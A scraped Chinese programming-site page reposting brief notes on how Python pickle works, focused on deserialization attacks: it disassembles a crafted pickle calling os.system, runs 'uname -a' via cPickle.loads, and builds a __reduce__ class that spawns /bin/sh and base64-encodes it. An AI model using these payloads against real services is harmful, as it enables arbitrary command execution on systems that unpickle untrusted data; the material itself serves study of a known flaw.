我的编程空间,编程开发者的网络收藏夹
学习永远不晚

python pickle 工作原理

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

python pickle 工作原理

pickle

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://blog.nelhage.com/2011/03/exploiting-pickle/

https://lincolnloop.com/blog/playing-pickle-security/

>>> import pickletools
>>> print pickletools.dis("cos\nsystem\n(S'ls ~'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls ~'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
highest protocol among opcodes = 0
None

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0

构造简单的执行语句,当然也可以通过类的__reduce__方法,也就是说在执行pickle反序列化的时候会用到__reduce__方法

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

>>> class RunBinSh1(object):
...     def __reduce__(self):
...             return (subprocess.Popen, (('uname',),))
...
>>> print (cPickle.dumps(RunBinSh1()))
csubprocess
Popen
p1
((S'uname'
tp2
tp3
Rp4
.

>>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
<subprocess.Popen object at 0xb70cebac>
>>> Linux

这样就能简单构造loads语句了


免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

python pickle 工作原理

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

python pickle 工作原理

picklehttp://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdfhttps://blog.nelhage.com/2011/03/
2023-01-31

python爬虫的工作原理

1.爬虫的工作原理 网络爬虫,即Web Spider,是一个很形象的名字。把互联网比喻成一个蜘蛛网,那么Spider就是在网上爬来爬去的蜘蛛。网络蜘蛛是通过网页的链接地址来寻找网页的。从网站某一个页面(通常是首页)开始,读取网页的内容,找到
2022-06-04

Python持久化管理   pickle

python 面向对象编程  看了一下python也可以用面向对象 就试着将java写法 就在python上试了一下 顺便熟悉一下语法  还不错。。。 希望大神指点更简结 灵巧 写法 请留求评论 import pickleimport ra
2023-01-31

Python 装饰器工作原理解析

#!/usr/bin/env python#coding:utf-8"""装饰器实例拆解"""def login00(func):    print('00请通过验证用户!')    return funcdef tv00(name):  
2023-01-31

Python代码模拟CPU工作原理

Python代码来实现一个最简单的CPU。用代码模拟大的部件,使大家从原理上理解CPU工作。使它可编程,支持加减法运算、读写内存、无条件跳转、条件跳转的功能。
2023-01-28

Xtrabackup工作原理

目录1.Xtrabackup介绍2.Xtrabackup备份涉及的数据库名词2.1.MySQL数据文件扩展名知识说明2.2.事务型引擎的ACID特性2.3.InnoDB引擎内部知识概念2.4.InnoDB引擎内部知识及说明2.5.InnoDB备份相关名词3.X
Xtrabackup工作原理
2020-09-08

Mybatis工作原理

作者:wuxinliulei链接:https://www.zhihu.com/question/25007334/answer/266187562来源:知乎著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。Mybatis原
2023-06-05
2024-04-02

python中WSGI的工作原理是什么

这篇文章将为大家详细讲解有关python中WSGI的工作原理是什么,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。python可以做什么Python是一种编程语言,内置了许多有效的工具,Python几乎无所
2023-06-14

用pickle存储Python的原生对象方法

在Python中存储数据到文件中时,简单的做法是调用open函数执行文件写入操作,但是这样做的话,当我们要重新读取文件内容时,就会出现类型不匹配的情况,因为读取的都是字符串的形式,所以还需要进行类型转换,这样不简洁。 或者使用eval函数把
2022-06-04

[转]EJB 工作原理

前两天在这个版块的精华区里翻到了Robbin关于EJB的调用原理的分析,受益非浅,但感觉用纯文字来表达效果似乎不够直观,而且对RMI的阐述也略嫌少了些。这里我根据自己的一点体会,在Robbin帖子的基础上再来说说这个话题,供大家参考。首先,
2023-06-03

Python描述符的工作原理是什么

小编给大家分享一下Python描述符的工作原理是什么,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!一、前言其实,在开发过程中,虽然我们没有直接使用到描述符,但是它在底层却无时不刻地被使用到,例如以下这些:function、
2023-06-15

Python爬虫的工作原理是什么呢

本篇文章给大家分享的是有关Python爬虫的工作原理是什么呢,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。随着计算机、互联网、物联网、云计算等网络技术的飞速发展,网络信息呈爆炸
2023-06-02

FTP工作方式及其工作原理

  FTP(File Transfer Protocol,文件传输协议),是互联网最早的也是最基本的网络协议之一。用来将实现从一台电脑传送文件到另一台电脑,或者接收和查看另一台电脑上的文件。今天主要是介绍FTP工作方式以及其工作原理,有需要的朋友那就和我们进入下面的学习吧!  1、传输方式  ftp的传输有两种方式:a
FTP工作方式及其工作原理
2024-04-18

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录